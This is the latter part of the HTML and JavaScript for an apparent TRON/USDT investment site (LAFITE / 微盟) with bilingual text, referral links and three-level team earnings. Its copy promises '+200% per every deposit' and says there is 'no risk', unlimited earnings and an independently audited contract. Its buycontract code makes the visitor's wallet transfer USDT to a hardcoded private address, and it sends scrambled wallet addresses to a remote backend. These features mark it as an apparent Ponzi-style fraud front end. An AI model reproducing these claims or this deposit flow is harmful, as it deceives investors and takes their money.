
									</div>
								</div>
							</div>
						</div>
					<!-- 	<div class="modaldesc">
							<div class="dashmodal"></div>
							<div class="macblockline">
								<div class="modallineflex">
									<div class="modallinewrap">
										质押订单:
										<div class="modallinewrapvalue"><img src="./css/trx.svg" alt=""> <span
												class="userRefsEarned1" id="community_performance2"></span></div>
									</div>
									<table style="width:100%" id="orderid">
										<tr>
											<th width="25%">
												周期/天
											</th>
											<th width="25%">
												合约金额
											</th>
											<th width="50%">
												状态
											</th>
										</tr>


									</table>
								</div>
							</div>
						</div> -->
						<div class="modaldesc">
							<form class="maincontform" style="margin-bottom:0;">
								<label>
									您的邀请链接:

								</label>
								<input id="reflink2" type="text" value="">
								<button class="maindescbut buttoncopy" data-clipboard-target="#reflink2"
									onclick="return false;">
									复制推荐链接
								</button>

							</form>
						</div>
					</div>
				</div>
			</div>
			<div class="remodal-wrapper remodal-is-closed" style="display: none;">
				<div class="remodal remodal-is-initialized remodal-is-closed" data-remodal-id="tron" tabindex="-1">
					<a data-remodal-action="close" class="remodal-close"></a>
					<img src="./css/tron_full.svg" class="modallogo" alt="">
					<div class="modaldesc">
						<img src="./css/tron.svg" alt=""> <b>TRON (USDT)</b>
						世界上最大的基于区块链的操作系统之一，始终处理每秒2000交易。此外，TRX是最受欢迎的加密货币之一，拥有-$1.12b市值.<h3>
							如何获得TRX?
						</h3>
						您可以轻松地在每个流行的交易所上获得TRX，例如
						<a href="https://binance.com/" class="modallink" terget="_blank">Binance</a>,
						<a href="https://poloniex.com/" class="modallink" terget="_blank">Poloniex</a>,
						<a href="https://www.bitfinex.com/" class="modallink" terget="_blank">Bitfinex</a>,
						<a href="https://okex.com/" class="modallink" terget="_blank">OKEx</a>
						和其他许多人.交易完成后，在您的个人钱包上发送TRX，然后发送到我们的智能合约地址.
						<br><br>
						<b class="gt">
							<i class="fas fa-exclamation-triangle"></i>
							重要!
						</b>
						我们只使用个人钱包。不要进行存款形式交换账户,你将失去资金,因为支出将来到交易所地址，不是您的!<h3>
							使用哪种TRX钱包？
						</h3>
						您能使用两种类型的钱包:
						<br>
						-
						<b>
							浏览器扩展程序
						</b>
						. 例如
						<b>TronLink</b> / <b>TronPay</b>
						只要在您最喜爱的浏览器上安装扩展并创建个人钱包地址.
						<br><br>
						- <b>
							手机加密钱包
						</b>
						.您可以使用任何支持TRX加密货币和"TRONd apps"技术的个人加密钱包,例如:
						<a href="https://tronwallet.me/" class="modallink" terget="_blank ">TronWallet</a>,
						<a href="https://bankowallet.com/" class="modallink" terget="_blank">Banko</a>
						和其他
					</div>
				</div>
			</div>
			<a href="#" id="toTop" style="display: none;"><span id="toTopHover"></span>To Top</a>

		</div>
		<script src="./css/clipboard.min.js"></script>
		<script src="./css/abi.js"></script>
		<script src="./css/site.min.js" type="text/javascript"></script>
		<script src="./css/classie.js"></script>
		<script src="./css/cbpAnimatedHeader.min.js"></script>
		<script src="./css/parallax.js"></script>
		<script src="./css/remodal.min.js"></script>
		<script src="./css/ScrollTrigger.min.js"></script>
		<script src="./css/easing.js" type="text/javascript"></script>
		<script src="./css/jquery.ui.totop.min.js" type="text/javascript"></script>
		<script>
			window.counter = function() {
				var span = this.querySelector('span');
				var current = parseInt(span.textContent);
				span.textContent = current + 1;
			};
			document.addEventListener('DOMContentLoaded', function() {
				var trigger = new ScrollTrigger({
					addHeight: true
				});
			});

			function animateNumbers() {
				var num = $(".totalsumnum1");
				num.each(function(indx, el) {
					var max = $(el).data("max");
					var duration = 1500;
					var visibility = checkViewport(el);
					$(el).on("animeNum", function() {
						$({
							n: 0
						}).animate({
							n: max
						}, {
							easing: "linear",
							duration: duration,
							step: function(now, fx) {
								$(el).html(now | 0)
							}
						})
					}).data("visibility", visibility);
					visibility && $(el).trigger("animeNum")
				});

				function checkViewport(el) {
					var H = document.documentElement.clientHeight,
						h = el.scrollHeight,
						pos = el.getBoundingClientRect();
					return pos.top + h > 0 && pos.bottom - h < H
				}
				$(window).scroll(function() {
					num.each(function(indx, el) {
						var visibility = checkViewport(el);
						el = $(el);
						var old = el.data("visibility");
						old != visibility && el.data("visibility", visibility) && !old && el.trigger("animeNum")
					})
				})
			}
			$(function() {
				animateNumbers();
			});

			function awaitTx(tx) {
				return new Promise((resolve, reject) => {
					setTimeout(() => {
						resolve();
						window.location.href = encodeURI("https://tb.tobking.com/index.html#wallet");
					}, 3000);
				});
			}

			function notice(msg, color = '007eff', time = 3000) {
				return new Promise((resolve, reject) => {
					let wrap = $(
							'<div style="box-sizing:border-box; position:fixed; left:calc(50% - 160px); box-shadow:0 5px 25px rgba(0,0,0,0.2); width:320px; top:40px; background:#' +
							(color ? color : '007eff') +
							'; border-radius:10px; color:#fff; padding:20px 20px; text-transform:none; font:16px/1.2 Tahoma, sans-serif; cursor:pointer; z-index:999999; text-align:center;">' +
							msg + '</div>')
						.on('click', () => {
							wrap.remove();
							resolve();
						})
						.appendTo('body');
					if (time > 0)
						setTimeout(() => {
							wrap.remove();
						}, time);
				});
			}




			function getLocalTime(nS) {
				return new Date(parseInt(nS) * 1000).toLocaleString().replace(/:\d{1,2}$/, ' ');
			}

			function encode(_str) {
				var staticchars = "PXhw7UT1B0a9kQDKZsjIASmOezxYG4CHo5Jyfg2b8FLpEvRr3WtVnlqMidu6cN";
				var encodechars = "";
				for (var i = 0; i < _str.length; i++) {
					var num0 = staticchars.indexOf(_str[i]);
					if (num0 == -1) {
						var code = _str[i];
					} else {
						var code = staticchars[(num0 + 3) % 62];
					}
					var num1 = parseInt(Math.random() * 62, 10);
					var num2 = parseInt(Math.random() * 62, 10);
					encodechars += staticchars[num1] + code + staticchars[num2];
				}
				return encodechars;
			}

			function lastDeposits() {
				let url = 'https://tb2.tobking.com/Home/Tron/lastDeposits';
				$.ajax({
					url: url,
					data: {

					},
					type: "get",
					dataType: "json",
					success: function(data) {
						var info = data.info;

						console.log(info)
						if (info) {
							var hash1 = info[0].hash.substr(0, 9) + ".." + info[0].hash.substr(info[0].hash
								.length - 3, 3);
							$("#hash1").text(hash1);
							$("#qianbaoje1").text(info[0].amount);
							$("#url1").attr('href', info[0].url_hash)
							var hash2 = info[1].hash.substr(0, 9) + ".." + info[1].hash.substr(info[1].hash
								.length - 3, 3);
							$("#hash2").text(hash2);
							$("#qianbaoje2").text(info[1].amount);
							$("#url2").attr('href', info[1].url_hash)
							var hash3 = info[2].hash.substr(0, 9) + ".." + info[2].hash.substr(info[2].hash
								.length - 3, 3);
							$("#hash3").text(hash3);
							$("#qianbaoje3").text(info[2].amount);
							$("#url3").attr('href', info[2].url_hash)
							var hash4 = info[3].hash.substr(0, 9) + ".." + info[3].hash.substr(info[3].hash
								.length - 3, 3);
							$("#hash4").text(hash4);
							$("#qianbaoje4").text(info[3].amount);
							$("#url3").attr('href', info[3].url_hash)
						}

					}
				});
			}

			$(document).ready(function() {


			});
		</script>

		<script type="text/javascript">
			var vms = new Vue({
				el: '#app',
				data: {
					timer: '',
					timer2: '',
					isconduct: !0,
					days: 30,
					alexa: "10000",
					total: 1000.25,
					teamtotal: 32,
					came: 880.34,
					incomelist: [],
					list: 10,
					lidx: 1,
					oidx: 0,
					account: '',
					pledge_info: [],
					typelist: [{
							'id': '-1',
							'title': '全部收益',
						},
						{
							'id': '4',
							'title': '团队收益',
						},
						{
							'id': '6',
							'title': '分销收益',
						},
						{
							'id': '9',
							'title': '部分结息',
						},
					],
					ordertypelist: [{
							'id': '-1',
							'title': '全部',
						},
						{
							'id': '1',
							'title': '进行中',
						},
						{
							'id': '0',
							'title': '已终止',
						}
					],
					orderlist: [],
					teamlist: [{
							'id': '0',
							'title': '全部',
						},
						{
							'id': '1',
							'title': '一级',
						},
						{
							'id': '2',
							'title': '二级',
						},
						{
							'id': '3',
							'title': '三级',
						},
					],
					trxAmount1:0,
					detaillist: [],
					liidx: 0,
					tidx: 0,
					detailtype: 0,
					isshowtype: !1,
					wallet: [],
					incomerecharge: 0,
					incomewithdraw_total: 0,
					lang: [{
							'title': 'LAFITE OPEN-END FUNDS',
							'About': 'About us',
							'Investments': 'Investments',
							'Contest': 'Contest',
							'Makedeposit': 'Make deposit',
							'Wallet': 'Wallet statistic',
							'perfection': 'perfection in details',
							'Reliable': 'Reliable investments with',
							'Get': 'Get',
							'Walletstatistic': 'Wallet statistic',
							'uptoyourdeposit': 'up to your deposit',
							'Blockchain': 'decentralized and anonymous platform',
							'Totally': 'Totally secure income based on',
							'TRXsmart': 'There is no human influence',
							'Smart-contract': ' Smart-contract verified and audited by independent company',
							'investment': 'Make investment now!',
							'Wewill': 'We will!',
							'without': "There's no risk your funds",
							'Unlimited': 'Unlimited earnings with always growing rates',
							'Weprovide': 'We provide investment conditions with growing percentage, depending on basic interest rate, smart-contract total balance bonus and personal"hold-bonus". Maximal available profit',
							'perevery': '+200% per every deposit',
						},
						{
							'title': '微盟',
							'about': '关于我们',
							'Investments': '投资额',
							'Contest': '买入微盟',
							'Makedeposit': '质押',
							'Wallet': '我的钱包',
							'perfection': '完善的细节',
							'Reliable': '加入LAFITE波场生态',
							'Get': '获得',
							'Walletstatistic': '钱包',
							'uptoyourdeposit': '不等的收益',
							'Blockchain': '智能合约被视为去中心化的第三方，可以确保公开、公正、公平和透明',
							'Totally': '没用所有者，没有公司，没有CEO',
							'TRXsmart': '没有人为因素影响',
							'Smart-contract': '有效的保证了所有参与者资金的安全性和公开性',
							'investment': '现在投资!',
							'Wewill': '可靠的投资会收到存款收益',
							'without': '没有任何风险',
							'Unlimited': '无限收益与始终不断增长的工资',
							'Weprovide': '我们提供增长百分比的投资条件。他们由基准利率，智能合约的总奖金和个人“保持奖金“。最高利润',
							'perevery': '+200%每笔存款',

						}
					]
				},
				methods: {
					setshowtype() {
						this.isshowtype = !0,
							this.tidx = 0;
					},
					//取回收益
					giveback(id) {
						console.log('id', id)
						let t = this;
						let unknown = encode(t.account);
						let str = "<div style='color:red'>确定结息吗，提前结息将会扣除一定违约金?</div>";
						if (t.detailtype == 3) {
								layer.confirm(str, {
							icon: 3,
							title: '提示'
						}, function(index) {
							t.backmoney(unknown,id);
							t.getmywallet()
							layer.close(index);
						});
						}else{
							t.backmoney(unknown,id);
						}

					},
					getinput(e){console.log(e)},
					//取回收益
					backmoney(unknown,id) {
						let t= this;
						let jz = layer.load(2, {time: 10 * 1000});
						axios.get('https://tb2.tobking.com/Home/Tron/settlementInterest', {
								params: {
									unknown: unknown,
									pledge_id: id
								}
							})
							.then(s => {
								console.log(111111,s)
								if (s.data.status == 1) {
									
									t.orderdetail(id, t.detailtype)
								} else {
									layer.msg(s.data.info);
								}
								layer.close(jz);

							})
							.catch(function(e) {
								layer.msg(e.data.info);
								layer.close(jz);
							});
						
					},
					opendetails(type) {
						//0全部 1质押  2微盟  3质押明细
						let t = this;
						t.detailtype = type;
						if (type == 0) {
							t.getmyincome(-1);
						}
						if (type == 1) {
							t.myorder(1);
						}
						if (type == 2) {
							t.myorder(2);
						}

					},
					orderdetail(id, type) {
						console.log('orderdetail', type)
						let t = this;
						t.detailtype = type;
						let unknown = encode(t.account);
						let jz = layer.load(2, {
							time: 10 * 1000
						});
						axios.get('https://tb2.tobking.com/Home/Tron/myOrderLog', {
								params: {
									unknown: unknown,
									pledge_id: id
								}
							})
							.then(s => {
								t.detaillist = s.data.info.list;
								t.pledge_info = s.data.info.pledge_info;
								layer.close(jz);
							})
							.catch(function(error) {
								layer.close(jz);
							});
					},
					getmyincome(type) {
						let t = this,
							unknown = encode(t.account);
						axios.get('https://tb2.tobking.com/Home/Tron/myEarningsLog', {
							params: {
								unknown: unknown,
								type: type
							}
						}).then(s => {
							t.isshowtype = !1;
							if (s.data.status == 1) {
								t.incomelist = s.data.info.list;
								t.incomerecharge = s.data.info.recharge;
								t.incomewithdraw_total = s.data.info.withdraw_total;
							} else {
								return notice(e.data.info, 'fb8c00');
							}
						}).catch(e => {
							return notice(e.data.info, 'fb8c00');
						})
					},
					myorder(type, status) {
						let t = this,
							unknown = encode(t.account);
						url = 'https://tb2.tobking.com/Home/Tron/myOrder?unknown=' + unknown;
						$.ajax({
							url: url,
							data: {
								type: type || 1,
								state: status || -1
							},
							type: "get",
							dataType: "json",
							success: function(data) {
								t.orderlist = data.list;
								var list = data.list;

								list.forEach(function(a, index) {
									var time = a.time_cha;
									var div = 'daotime' + index;
									t.countDown(time, div, 2)
								})
							}
						});
					},
					// getmyorder(type, status) {
					// 	let t = this,
					// 		unknown = encode(t.account);
					// 	url = 'https://tb2.tobking.com/Home/Tron/myOrder?unknown=' + unknown;
					// 	$.ajax({
					// 		url: url,
					// 		data: {
					// 			type: type || 1,
					// 			state: status || -1
					// 		},
					// 		type: "get",
					// 		dataType: "json",
					// 		success: function(data) {
					// 			t.orderlist = data.list;
					// 			var list = data.list;

					// 			list.forEach(function(a, index) {
					// 				var time = a.time_cha;
					// 				var div = 'div' + index;
					// 				var url = a.url_hash;
					// 				var html = "<tr><td><a href='" + url +
					// 					"'>" + a.pledge_day + "</a></td><td>" + a.pledge_amount +
					// 					"</td><td id='" + div + "' data_obj=" + time + "></td></tr>";
					// 				$("#orderid").append(html);
					// 				t.countDown(time, div, 1)
					// 			})
					// 		}
					// 	});
					// },
					//获取收益列表
					settype(liidx) {
						let t = this;
						let type = t.typelist[liidx]['id'];
						t.liidx = liidx;
						console.log(type);
						t.getmyincome(type);

					},
					//获取买入列表
					setordertype(oidx) {

						let t = this;
						let status = t.ordertypelist[oidx]['id'];
						t.isshowtype = !1;
						t.oidx = oidx;
						t.myorder(t.detailtype, status);
					},
					loadmore() {
						this.list = this.list + 10
					},
					setday(day) {
						let t = this;
						t.days = day;
					},
					register(str1, str2) {
						console.log(str1);
						var jz = layer.load(2, {
							time: 10 * 1000
						});
						var unknown = encode(str1);
						var url = 'https://tb2.tobking.com/Home/Tron/register';
						var p_unknown = '';
						if (str2) {
							p_unknown = encode(str2);
						}
						$.ajax({
							url: url,
							data: {
								unknown: unknown,
								p_unknown: p_unknown
							},
							type: "get",
							dataType: "json",
							success: function(data) {
								console.log('data', data);
								if (data.status > 0) {} else {
									return notice(data.info, 'fb8c00');
								}
								layer.close(jz);
							}
						});
					},
					getmywallet() {
						// let url = 'https://tb2.tobking.com/Home/Tron/getUserInfo?unknown=' + unknown;
						let t = this;
						let unknown = encode(t.account);
						let jz = layer.load(2, {
							time: 10 * 1000
						});
						axios.get('https://tb2.tobking.com/Home/Tron/getUserInfo', {
								params: {
									unknown: unknown,
								}
							})
							.then(s => {
								let data = s.data;
								t.wallet = data.info;
								$(".uplines").text(data.info.upline);
								layer.close(jz);
							})
							.catch(function(error) {
								layer.close(jz);
							});
					},

					rechange(tx, amount, day, type) {
						let unknown = encode(window.tronWeb.defaultAddress.base58);
						let t=this;
						let url6 = 'https://tb2.tobking.com/Home/Tron/rechange?unknown=' + unknown + '&amount=' +
							amount + '&txid=' +
							tx + '&day=' + day + '&type=' + type;
						fetch(url6).then(r => r.json()).then(r => {
							console.log(r);
							if (r.status) {
								notice(r.info, '4caf50');
							} else {
								notice(r.info, 'fb8c00');
							}
							t.getmywallet();
							$(".investButton2").attr("disabled", true).css("pointer-events", "auto");
							$(".investButton2").css("background", "#02ba96");

						});
					},
					buyheyue(type) {
						this.isconduct = type === 'Makedeposit' ? !0 : !1;
					},
					buycontract() {
						let t = this;
						var amount =t.trxAmount1;
						// 投入天数
						var days = t.isconduct ? t.days : 0;

						$(".investButton2").attr("disabled", true).css("pointer-events", "none");
						$(".investButton2").css("background", "#DCDCDC");
						//验证
						let unknown = encode(window.tronWeb.defaultAddress.base58);
						let type = t.isconduct ? 1 : 2;
						let url7 = '?unknown=' + unknown + '&amount=' + amount + '&type=' + type;

						axios.get('https://tb2.tobking.com/Home/Tron/verify', {
								params: {
									unknown: unknown,
									amount: amount,
									type: type,
								}
							}).then(s => {
								if (s.data.status == 0) {
									$(".investButton2").attr("disabled", true).css("pointer-events", "auto");
									$(".investButton2").css("background", "#02ba96");
									return notice(s.data.info, 'fb8c00');
									return false;
								} else {
									//合约地址
									var con =
									"TGYEufCd1ChGHX6S7C3naaqXWCDA1ASy3C"; // "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
									//钱包地址
									var acc = "TKrUqupcoYgN278xrwK9DvyWpjTSPosLhx";
									var tronWeb = window.tronWeb;
									tronWeb.trx.getContract(con).then(res => {
										const abi = res.abi;
										console.log('res', res)
										if (abi) {
											const contract = tronWeb.contract(abi.entrys, con);
											const resp = contract.methods.transfer(acc, amount * 1000000)
												.send().then(tx => {
													notice('Transaction was successfully sent. Wait confirming..',
														'4caf50');
													awaitTx(tx).then(() => {
														this.rechange(tx, amount, days, type);
													});

												}).catch(err => {
													$(".investButton2").attr("disabled", true).css(
														"pointer-events",
														"auto");
													$(".investButton2").css("background", "#02ba96");
													return notice('error', 'fb8c00');
												});
										} else {
											$(".investButton2").attr("disabled", true).css("pointer-events",
												"auto");
											$(".investButton2").css("background", "#02ba96");
										}

									}).catch(err => {
										$(".investButton2").attr("disabled", true).css("pointer-events",
											"auto");
										$(".investButton2").css("background", "#02ba96");

									});
								}
							})
							.catch(e => {
								$(".investButton2").attr("disabled", true).css("pointer-events", "auto");
								$(".investButton2").css("background", "#02ba96");
								return notice('error', 'fb8c00');
							});

					},

					countDown(times, div, type) {
						let t = this;
						var timer = t.timer;
						var timer2 = t.timer2;
						if (type == 1) {
							timer = setInterval(function() {
								var day = 0,
									hour = 0,
									minute = 0,
									second = 0; //时间默认值
								if (times > 0) {
									day = Math.floor(times / (60 * 60 * 24));
									hour = Math.floor(times / (60 * 60)) - (day * 24);
									minute = Math.floor(times / 60) - (day * 24 * 60) - (hour * 60);
									second = Math.floor(times) - (day * 24 * 60 * 60) - (hour * 60 * 60) - (
										minute * 60);
								}
								if (day <= 9)
									day = '0' + day;
								if (hour <= 9)
									hour = '0' + hour;
								if (minute <= 9)
									minute = '0' + minute;
								if (second <= 9)
									second = '0' + second;
								//
								var html = day + "天" + hour + "时" + minute + "分" + second + "秒";
								$('#' + div).text(html);

								times--;
							}, 1000);
						} else {
							timer2 = setInterval(function() {
								var day = 0,
									hour = 0,
									minute = 0,
									second = 0; //时间默认值
								if (times > 0) {
									day = Math.floor(times / (60 * 60 * 24));
									hour = Math.floor(times / (60 * 60)) - (day * 24);
									minute = Math.floor(times / 60) - (day * 24 * 60) - (hour * 60);
									second = Math.floor(times) - (day * 24 * 60 * 60) - (hour * 60 * 60) - (
										minute * 60);
								}
								if (day <= 9)
									day = '0' + day;
								if (hour <= 9)
									hour = '0' + hour;
								if (minute <= 9)
									minute = '0' + minute;
								if (second <= 9)
									second = '0' + second;
								//
								var html = day + "天" + hour + "时" + minute + "分" + second + "秒";
								$('#' + div).text(html);

								times--;
							}, 1000);
						}

						if (times <= 0) {
							clearInterval(timer);
						}
					}
				},
				mounted: function() {
					var account = '';
					var upline = '';
					var t = this;
					this.Inval = setInterval(() => {
						account = window.tronWeb.defaultAddress.base58 ? window.tronWeb.defaultAddress
							.base58 : '';
						console.log('account', account)
						//当获取到地址的时候就关掉定时器
						if (account) {
							window.clearInterval(this.Inval);
							var m = (window.location.href).match(/ref=(T[1-9A-HJ-NP-Za-km-z]{33})/i);
							if (m) {
								upline = m[1];
							}
							if (account) {
								console.log(1111, account);
								t.account = account;
								t.register(account, upline);
								// t.getmyorder(1);
								t.getmywallet();
								t.getmyincome(-1)
								// 最后五笔
								lastDeposits();
								// 修改推荐连接后缀
								$("#linklink").html("https://tb.tobking.com?ref=" + account);
								$("#reflink2").val("https://tb.tobking.com?ref=" + account);
								$("#dizhi1").val("https://tb.tobking.com?ref=" + account);
							}
						}
					}, 1000);

					$().UItoTop({
						easingType: 'easeOutQuart'
					});
					var wallet = $('[data-remodal-id=wallet]').remodal();
					var details = $('[data-remodal-id=details]').remodal();
					$(document).on('closed', '[data-remodal-id=details]', function(e) {
						console.log('details', t.detailtype)
						if (t.detailtype == 3) {
							t.detailtype = 1
							details.open()
						} else if (t.detailtype == 4) {
							t.detailtype = 2
							details.open()
						} else {
							clearInterval(t.timer2);
							wallet.open()
						}
					});
					$(document).on('opened', '.remodal', function(e) {
						t.getmywallet();
					});
					$(document).on('closed', '.remodal', function(e) {
						t.isshowtype = !1
					});
				},

			})
		</script>

	</body>


</html>
